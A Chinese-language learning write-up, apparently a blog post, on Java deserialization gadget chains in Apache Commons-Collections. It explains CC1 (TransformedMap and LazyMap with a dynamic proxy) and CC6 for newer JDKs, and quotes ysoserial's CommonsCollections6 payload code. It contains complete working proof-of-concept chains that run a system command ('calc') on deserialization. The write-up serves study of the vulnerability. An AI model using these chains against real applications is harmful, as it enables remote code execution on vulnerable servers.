CommonCollections1及其高版本利用学习
CommonCollections1及其高版本利用学习
环境
- JDK<>8u71
- Commons-Collections 3.1-3.2.1
- JDK所对应的OpenJdk版本,不一定对的上小于修复版本前就行|贴个链接:
https://hg.openjdk.java.net/jdk8u/jdk8u41/jdk/archive/4f0378ee824a.zip - ysoserial:https://github.com/frohoff/ysoserial
前言
以下记录都是基于前辈们基础上对Java知识的一点学习记录,如有笔误敬请斧正。
这里大概贴一下自己认为反序列化任意代码执行等的原理和PHP是很像的。
然后这里说下调试的东西也就是Openjdk我们下载下来找到JDK的环境解压里面的src
再向src
中添加Openjdk的sun
包// src\share\classes\sun
然后再idea中添加进来,就直接能看到源码了。
函数介绍
因为根据文档出问题的是Transformer
所以我们可以看看谁调用了Transformer
进而分析一些函数,所以我们先介绍一些函数方便后续学习。
TransformedMap
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
demo
TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);
TransformedMap
⽤于对Java标准数据结构Map做⼀个修饰被修饰过的Map在添加新的元素时,将可
以执⾏⼀个回调。keyTransformer
和valueTransformer
都实现了对传入的值进行transform
的回调。也就是说TransformedMap
类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来。
Transformer
Transformer是一个接口只有一个transform方法
package org.apache.commons.collections;
public interface Transformer {
public Object transform(Object input);
}
ConstantTransformer
ConstantTransformer
是实现了Transformer
接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform
⽅法将这个对象再返回:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
InvokerTransformer
InvokerTransformer
是实现了Transformer接⼝的⼀个类也是关键。因为他可以执行任意方法。
根据注释我们得知@param methodName
要调用的方法 @param paramTypes
构造函数参数类型@param args
构造函数参数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName
⽅法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);}
catch(ex){
.............
}
ChainedTransformer
代码也比较简单大概就是回调返回的结果,作为后⼀个回调的参数传⼊
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
国内CC1推导
我们知道了InvokerTransformer
的transform
可以执行任意代码,所以可以写出此demo
public class cc1 {
public static void main(String[] args) throws Exception {
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
}
}
我们知道Runtime类
没有继承反序列化接口所以不能序列化所以我们需要改写
Method getRuntimemethod = (Method)new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
还知道了ConstantTransformer
类的transform
接收任意参数返回,并且ChainedTransformer
就是循环调用,于是我们可以改造一下
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(任意值);
但是我们最终需要序列化这个类所以我们需要找到readObject
。所以我们现在需要寻找谁还调用了transform
,可以发现很多都调用了他,都可以看一下。最后也是找到了Map类,这里先分析TransformedMap
贴一下关键代码
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
我们可以看到checkSetValue
调用了他,我们再去找valueTransformer
是什么。发现Transformer
的构造函数因为是protected
所以我们需要找被谁调用。找到decorate
调用了这个方法。继续分析,我们查看谁调用了checkSetValue
到这里看类名大概我们知道MapEntry
类下的setValue
调用于是我们也可以写一个demo
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(任意值);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","12");
Map <Object, Object>transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
for (Map.Entry <Object, Object> entry:transformedmap.entrySet()){
entry.setValue(任意值);
}
因为我们最终肯定要找到readObject
的,直接找到当然很OK。没找到就一层层调用找。继续寻找下谁调用了setVaule
。最终也是在AnnotationInvocationHandler
类的readObject
找到
贴一下AnnotationInvocationHandler类
的readObject
代码
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
主要看下面的for if语句,查看memberValues
是从哪里来的。发现构造函数需要我们传入注解和map
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
if语句中的memberType
也就是我们传入注解获取成员变量的值,此值也就是map
传入的key
然后判断是否为空。所以我们需要传入Target
在map处key=value
于是构造完整Poc如下
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Runtime r = Runtime.getRuntime();
// 反射
// Method getRuntimemethod = (Method)new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime runtime = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getRuntimemethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(任意值);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","12");
Map <Object, Object>transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
// for (Map.Entry <Object, Object> entry:transformedmap.entrySet()){
// entry.setValue(任意值);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationinvocationhandler = c.getDeclaredConstructor(Class.class,Map.class);
annotationinvocationhandler.setAccessible(true);
Object o = annotationinvocationhandler.newInstance(Target.class, transformedmap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
System.out.println(obj);
}
}
ysoserial推导
国内相比ysoserial用的是的TransformedMap
,而他用的是LazyMap
,它的一些介绍及其他用法。
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在
sun.reflect.annotation.AnnotationInvocationHandler
的readObject方法中并没有直接调用到
Map的get方法
所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get:
那么又如何能调用到AnnotationInvocationHandler#invoke
呢?于是就可以使用动态代理
文章:https://blog.csdn.net/Dream_Weave/article/details/84183247
我们写一个demo
public class dtProxy implements InvocationHandler {
protected Map map;
public dtProxy(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("get")){
System.out.println("自定义");
}
return null;
}
public static void main(String[] args) {
InvocationHandler handler=new dtProxy(new HashMap());
Map mapproxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
mapproxy.put("key","value");
mapproxy.get("key");
mapproxy.get("12");
}
}
这有点类似于PHP的__Call
,所以在在readObject的时候调用任意方法就可以进入invoke进而触发get方法,所以我们对上面的poc进行改造
然后我们对sun.reflect.annotation.AnnotationInvocationHandler
对象进行Proxy
Map lazymap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationinvocationhandler = c.getDeclaredConstructor(Class.class,Map.class);
annotationinvocationhandler.setAccessible(true);
InvocationHandler handler = (InvocationHandler)annotationinvocationhandler.newInstance(Target.class, lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
生成AnnotationInvocationHandler
对象,为了调用Object中memberValues的entrySet
方法,需要再次实例化AnnotationInvocationHandler
类,这是将代理类作为构造方法的第二个参数
之所以要创建两次是因为一次是生成代理类,一次是生成反序列化对象。
handler = (InvocationHandler) annotationinvocationhandler.newInstance(Target.class, proxyMap);
构造完整Poc如下
public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(任意值);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","12");
Map lazymap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationinvocationhandler = c.getDeclaredConstructor(Class.class,Map.class);
annotationinvocationhandler.setAccessible(true);
InvocationHandler handler = (InvocationHandler)annotationinvocationhandler.newInstance(Target.class, lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) annotationinvocationhandler.newInstance(Target.class, proxyMap);
serialize(handler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
System.out.println(obj);
}
}
高版本利用
在8u71以后,Java官方修改了 sun.reflect.annotation.AnnotationInvocationHandler
的readObject函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap
对象,并将原来的键值添加进去所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作
这里其实解决高版本就是Commons-collections6的利用链。
解决高版本实际就是找上下⽂中是否还有其他调⽤ LazyMap#get()
的地⽅
我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry
,在其getValue⽅法
中调⽤了 this.map.get
,⽽其hashCode⽅法调⽤了getValue⽅法
贴一下关键代码
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
// ...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
// ...
}
这里我们可以寻找谁调用了hashcode
分析过URLDNS就知道,Hashmap中hash
会调用hashcode然后再HashMap#readObject
又可以找到hash
的调用。
ysoserial的话是在HashSet#readObject
到HashMap#put
到HashMap#hash(key)
最后到TiedMapEntry#hashCode()
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
// ...
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// ...
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden
stuff
s.defaultReadObject();
// ...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
在HashMap的readObject⽅法中,调⽤到了hash(key)
,⽽hash⽅法中,调⽤到了
key.hashCode()
。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过
程,构成⼀个完整的Gadget
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(任意值);
HashMap<Object, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(lazymap, "12");
HashMap kvHashMap = new HashMap<>();
kvHashMap.put(tme, null);
serialize(kvHashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
System.out.println(obj);
}
}
但是我们发现我们并没有触发RCE且本地调试会触发一次。这是为什么呢,因为我们在hashmap.put
的时候也会调用hash(key)
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
原因就出现在Lazymap的get函数上
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
进入if需要加载的这个key之前未被get函数调用过,并且一旦调用过一次后,就会直接把这个key-value对放进this.map中,下次调用直接走else语句。但是我们在put时候又调用了。所以我们需要添加如下代码
lazyMap.remove("12");
最终poc
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(任意值);
HashMap<Object, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(lazymap, "12");
HashMap kvHashMap = new HashMap<>();
kvHashMap.put(tme, null);
lazymap.remove("12");
serialize(kvHashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
System.out.println(obj);
}
}
我们来分析下ysoserial中的代码
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
//取出HashSet对象的成员变量map
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
//取出HashMap对象的成员变量table
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
//取出table里面的第一个Entry
//为什么是Entry因为table是node类型 node实现了Map.Entry<K,V>
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
//取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections6.class, args);
}
}
可以说是把反射机制生成恶意代码用的很好了,大致的东西我在上面代码注释了。如果不用反射做的话也就两三步。和使用Hashmap一样。
HashSet map = new HashSet(1);
map.add(entry);
lazyMap.remove("foo");
希望静有所思,思有所想!